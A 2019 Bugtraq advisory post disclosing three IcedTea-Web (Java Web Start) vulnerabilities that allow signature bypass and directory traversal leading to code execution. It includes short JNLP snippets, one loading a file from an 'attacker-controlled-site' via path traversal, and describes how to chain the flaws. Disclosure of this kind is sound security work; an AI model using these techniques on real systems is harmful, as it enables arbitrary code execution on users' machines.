lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 6 Oct 2019 18:25:03 +0200
From: Imre Rad <radimre83@...il.com>
To: bugtraq@...urityfocus.com
Subject: CVE-2019-10181, CVE-2019-10182, CVE-2019-10185: IcedTea-Web
 vulnerabilities leading to RCE

IcedTeaWeb is an open source implementation of JSR-56 that is better
known as Java Web Start.
It is currently maintained by RedHat and is included into the Windows
packages of OpenJDK by default.

"Three security issues were found in ITW, and have been discussed and
are going to be fixed.
Those are CVE-2019-10185 CVE-2019-10181 CVE-2019-10182"

The vulnerabilities described below could be exploited by man in the
middle attackers or parties
having write permission on where the jnlp files were hosted.

The affected versions are 1.7.2 and below, 1.8.2 and below. 1.6 is
also vulnerable and not patched due to being EOL.

Some additional info and PoC files can be found here:
https://github.com/irsl/icedtea-web-vulnerabilities


CVE-2019-10181:

In line with the requirements, IcedTea-Web forces presence of
signatures on webstart projects by default.

However, the implementation considers jar archives fully signed even
when unsigned class files are residing in the META-INF folder. An MitM
attacker could inject extra code to the jar archive and get it invoked
by specifying it via the main-class attribute of application-desc:

<application-desc main-class="META-INF.Test" />

The dash is not among the allowed characters in Java identifiers, so a
class with this package name cannot be produced via a legit compiler,
but the bytecode verifier accepts crafted class files with dash in the
package name happily.

The code would be executed in the Java sandbox.


CVE-2019-10182:

Processing of the href attribute of the jar node was vulnerable to
directory traversal.

<jar href="http://attacker-controlled-site/../../../../../XXX.any"
version="2.0"/>

Considering the line above, the file XXX.any is saved out of the cache
directory, overwriting the destination if it already exists. This is
effectively an (over)write-what-where primitive on the filesystem,
which could be used to execute arbitrary code (eg. via placing a batch
file in the startup folder).

This was exploitable on Windows only, where the operating system
normalizes the paths before traversing them.


CVE-2019-10185:

IcedTea-Web features extracting nested jar files from the primary ones.

The nested jar auto-extraction feature is vulnerable to directory
traversal. Combining this with  CVE-2019-10181 and crafting jar files
with META-INF/../../../whatever.jar pattern in their zip entries, they
don't need to be signed and are followed and extracted outside of the
cache directory, leading to arbitrary code execution again.

As an alternative approach, I found it was also possible to overwrite
the main jar itself, so later on when it was actually executed, the
framework launched external, unsigned arbitrary code with full
privileges.


References:

https://github.com/AdoptOpenJDK/IcedTea-Web
https://icedtea.classpath.org/wiki/IcedTea-Web
https://github.com/AdoptOpenJDK/IcedTea-Web/issues/327
https://access.redhat.com/errata/RHSA-2019:2003
https://github.com/irsl/icedtea-web-vulnerabilities

Powered by blists - more mailing lists